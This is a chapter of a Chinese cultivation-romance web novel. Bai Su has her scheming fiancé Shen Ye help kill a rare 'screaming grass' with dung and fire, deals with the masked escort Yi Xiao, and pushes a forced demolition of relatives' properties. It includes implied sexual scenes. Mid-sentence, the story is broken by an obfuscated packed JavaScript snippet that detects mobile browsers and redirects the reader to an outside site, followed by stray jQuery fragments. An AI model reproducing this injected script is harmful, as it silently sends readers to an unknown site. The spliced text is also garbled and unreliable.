5. 005
作品:《限制文女配,但魔修天才》 “夫君,我当然相信你。”
两人在屋子里互相画饼,互飙演技了好一阵,这才“浓情蜜意”的出了屋子。
清水河堤边,两人一起散着步,慢悠悠的走着。
白愫望着头顶的满天繁星,叹道:“今晚的星星真美啊!”
在遍布光污染的现代社会,这样美丽的星空是很难见到的。
难怪古人能写出那样美丽的诗句呢!
“醉后不知天在水,满船清梦压星河。”
白愫轻声念着这句诗,眼角余光忽然瞥见了不远处的一株草。
居然是尖叫草!
这是一种比较罕见的妖植,价格也比较高,不少丹药都要用到它。
《玄灵大陆妖植大观》对尖叫草也有过记载,白愫吸收了原主的记忆,对这种妖植印象深刻。
——尖叫草在受到外界刺激时,会发出剧烈的尖叫声,听到声音的人会变得神志不清,严重的可能直接变成白痴。
不过,尖叫草也有惧怕的东西,那就是秽物,或者说,害怕臭烘烘的粪便。
白愫小心翼翼的走过去,给尖叫草布下了一个结界,以免惊动它。
接着,她扭头,对沈夜说:“夫君,你去找一个茅坑,然后带一些粪便出来。”
“什……什么?”
“这是一颗尖叫草,是一种罕见的妖植,它最害怕的就是粪便,夫君,你应该舍不得让我去接触秽物吧?”
沈夜虽然有灵根,却没有接触过系统的修士教育,对于不怎么了解。
他一脸抗拒:“真有此事?”
“夫君,难道你觉得我会骗你吗?”
沈夜抿着唇,沉默了一阵,最终还是去了。
没过多久,一股臭味从风中飘散而来。
只见沈夜脸上蒙着白巾,手持一把火钳,夹着一个装着粪便的油布袋来了。
“待会我会用火去烧它的花,花谢了,它就死了,但它没死,受到攻击的时候,会疯狂甩叶子,把粪便甩开,夫君,你要不停往它身上堆粪便,明白吗?”
“……明白。”
白愫捂着鼻子,避得远远的。
沈夜按照白愫的话,将粪便盖在了尖叫草上。
接着,白愫手一挥,一簇金红色的火球“呼”的一声蹿了过去,扑向了尖叫草。
火焰熊熊燃烧,炙烤着尖叫草长出的花朵,尖叫草剧烈的拍打着自己的叶子,沈夜猝不及防,被飙了一脸屎。
他强忍着恶心,施了一个清洁术,不停往它身上堆屎。
火焰将屎烤得迎风臭十里,尖叫草的拍打越来越剧烈,沈夜来不及施展清洁术,手中不停堆粪。
白愫挥了挥手,一连好几个火球飞过去,然后捂紧了鼻子,又退后了一步。
见状,沈夜双手不停,心中却觉得有些不悦。
话本里不是说了吗?
一个女人如果真的爱一个男人,什么都愿意为对方做,哪怕是付出生命!
白愫嫌弃堆屎的活,却让他顶上,只能说明白愫还不够爱他。
可恶!
迟早有一天,他要将白愫迷得神魂颠倒,把所有财物都双手奉上!
“嘚——嘚——嘚——”
“嘚——嘚——嘚——”
这时,马蹄声传来。
一队黑衣人骑着高头大马,疾驰而来。
为首的那人银面漆眸,一身黑袍,骑着一匹神骏异常的黑马,朝白愫和沈夜这边看了一眼。
白愫也知道,易萧这么晚回来,就是在忙她交待的事。
她笑眯眯的跟易萧打了个招呼:“易道友,这么晚才回城,辛苦了。”
“受人之托忠人之事,白三小姐客气了。”
“我和沈道友不惧艰险,不畏恶臭,在这里消灭妖植,为百姓做好事。”
“白三小姐也辛苦。”
易萧眸中似乎划过了一抹戏谑,微微点了下头,然后一夹马腹,朝着城门飞驰而去。
在火焰的灼烧中,尖叫草花朵枯萎,很快就死了。
沈夜将草清洗干净,交给了白愫。
接着,沈夜又施了一个清洁术,把自己身上搞的干干净净,一点异味都没有了,这才朝白愫走过来:“我记得刚刚那人是平安镖局的镖师,你认得他?”
“嗯,白家雇佣了他。”
“这样啊,”沈夜的脸上露出了关切的笑容,“那人天天戴个面具,藏头露尾的,愫愫,这种人最好还是小心一点,离他远一点。”
“放心吧,我心里有数。”
回到白府,时间已经不早了。
城门已关,沈夜也没提要回去,干脆就在白府住下。
白愫唤来折柳:“把沈夜带去客院吧!”
“客院?”沈夜错愕。
对白愫来说,寝居是她的私人空间,她喜欢在熟悉的地方啪啪啪,却不能接受沈夜一整晚占据她的私人空间。
“不可以,我晚上喜欢一个人待着。”
沈夜的脸色变得有些难看。
他不想和白愫过夜是一回事,白愫不想和他过夜又是另一回事。
“愫愫,等我们成婚以后,你总是要习惯的。”
“家里也不是没屋子了,婚后也可以分开睡,不影响什么。”
“可是……”
“先这样吧,”白愫看向一旁的钟漏,“时间不早了,我该修炼了。”
说完,她结束对话,转身去了静室。
人一走,沈夜的脸彻底黑了。
白愫的做法再一次验证了他的想法——白愫还是不够爱他。
或许,他应该去找点什么“金枪不倒丸”之类的东西,这样才能牢牢抓住白愫的心!
·
接下来的几日,沈夜对白愫愈发的殷勤。
每日不需要白愫晃动狗铃铛,他就会早早的来到白府。
沈家在城外只有几间瓦房,他每天天还没亮,就在自家那个巴掌大的小厨房里做好早餐,将早餐带到白府,让白愫享用。
这一日,他一袋拎着亲手做的包子,走进了白愫的院子:“愫愫,快来尝尝我做的芹菜猪肉包,还有香菇萝卜馅的,都是热的,你快尝尝!”
白愫修炼了一夜,刚好肚子饿了。
不过,她才不吃沈夜做的早餐。
沈夜恨毒了她,谁知道会不会朝里面吐口水。
“我已经吃过了,你先放在那里吧,等我饿了我再尝尝。”
连续做了三天早餐,白愫每天都是这个借口。
沈夜的脸上露出了一丝苦笑:“愫愫,你是白家千金,食不厌精,脍不厌细,我做的包子,对你来说一定很难下咽吧?”
“怎么会呢?等我们运动完了,我好好尝尝!”
这几天,在沈夜的勤奋耕耘下,系统的储能渐渐涨到了84%。
白愫对沈夜的工作表现还是很满意的。
“动作快一点吧!夫君,我已经迫不及待想跟你融为一体了!”
她催促着,半拉半扯,很快就把沈夜拽进了屋,将他扒了个干净。
“吱——嘎——”
屋子里,床榻又开始摇晃了。
经过这些天的练习,沈夜已经懂得一些技巧了。
今天早上出门前,他还特意吃了好不容易才搞到的小药丸,只为了延长时间,给白愫更好的体验,让她对自己死心塌地。
在药力的作用下,此时的他感到自己前所未有的勇猛,充满了男性魅力。
“愫愫,你觉得我今天怎么样?”
“还行,跟昨天差不多?”
沈夜:???
他明明吃了小药丸!
效果特别好!
他抿着唇,动作越发的激烈,伺候白愫之余,他还问出了在心中盘旋已久的问题:“听说……你最近和那个姓易的走得很近,两人还一起去过城外河堤?”
“是,怎么了吗?”
“愫愫,我之前不是和你说过了吗?要远离那种人,他可能很危险。”
“你跟他是有什么过节吗?”
沈夜心底顿时涌出了一股怨毒。
平安镖局是一个规模很大的镖局,在清河城也有分局,就开在最热闹的那条康阳大街上。
所以,去平安镖局当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202470|197252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伙计,是很多人梦寐以求的差事。
他就曾经慕名去应征,也正是那一次,他从镖局得知,自己身怀灵根,有机会踏上仙途。
本以为,凭借着灵根天赋,他可以一直留在镖局,然而,一个清晨,带他的洪镖头和易镖头说了几句话。
具体说了什么他没听见,但从那以后,他就被洪镖头告知——收拾东西回家吧!
他简直不敢相信!
他那么讨好洪镖头,把他当爹一样供着,洪镖头还是把他赶走了!
他认定是易萧说了什么,才让洪镖头把他赶走,所以心里恨毒了易萧。
如今,白愫又跟易萧走得近,焉知易萧会不会又来坏他的好事?
“没什么过节,就是以前听镖局里的其他人说过,他这人做事特别狠,没什么人性,最好离他远点。”
看样子可能真有矛盾。
不过,白愫才懒得管沈夜和易萧之间的破事呢!
“夫君,正事要紧,办完正事,我们再聊别的。”
沈夜只好又换了个花样,继续开干。
【叮!充能+1%!积分+1!】
【叮!充能+1%!积分+1!】
【叮!充能+1%!积分+1!】
……
“笃——笃——笃——”
突然,房门被敲响了:“小姐,是我,折柳。”
白愫微微惊讶。
折柳向来很有眼色,这种时候通常不会来打扰她,除非有要紧的事。
“有什么事吗,折柳?”
“小姐,易镖头说有要事找你。”
白愫立刻推开沈夜,起身穿衣。
沈夜躺在床上,眼底划过一抹几不可见的冷意:“愫愫,有什么事不能交给下人去办?”
“这是要紧事,等办完事我就回来找你。”
白愫穿好衣裳,理了理头发,赶紧出门了。
沈夜独自躺在床上,迟迟没有起身,脸上布满了阴霾……
·
二十分钟后,水云茶楼。
白愫刚上二楼,映入眼帘的就是这幅情形——
易萧一袭黑袍,坐在临窗的位置上。
阳光透过窗棂,照在那张冷硬的银色面具上,映得那双漆黑的眼眸似乎多了一丝温度。
“易道友久等了。”
她走到窗边,坐下,自顾自的倒了一盏茶。
易萧没多寒暄,开口说起了正事:“请白三小姐前来,主要是因为白氏族人的事……”
易萧不疾不徐的讲述着,白愫的眼神逐渐泛冷。
按照她和易萧拟定的计划,为了阻止火熊兽入侵,城内也必须加几道防护,多挖陷阱。
要多挖陷阱,那么城门附近的住户、商户都要迁走。
拆迁金额是她和易萧一起拟定的,价格高于市场价三层,其他人倒是爽快的同意了,唯有在开客栈和酒楼的两个白氏族人,价格居然要翻三倍。
易萧已经和他们谈了两天,他们死咬着价格,不肯松口。
要知道,这两人都是白家嫡系,从前面对原主时,都是慈和的长辈,如今明知易萧背后的人是她,居然还要狮子大开口。
无非就是觉得她失了精血,五脏衰竭,以后前途无望,所以想从她身上大捞一笔。
人情冷暖,不过如此!
白愫冷哼了一声:“既然高于三层市价他们不肯拆,那就一分钱也别要了!强制拆迁吧!这件事回头我会跟族长姑姑说一声,还请易道友多安排些人,加快速度!把防御工事尽快修完!”
“三小姐放心,有土灵根修士在,布置防火带、陷阱很快。”
“那就好。”
易萧沉默了片刻,开口又问:“听说白三小姐和沈夜相熟?”
白愫坦然的点了点头:“易道友眼睛利,应该看出来了我跟沈夜的关系。”
“白三小姐聪慧过人,待人也该多几分防备之心。”
对上白愫探究的目光,易萧也不多说,起身告辞,离开了茶楼。
看着他迅速的身影,白愫无声的开口:“看来这两人还真有过节啊!”

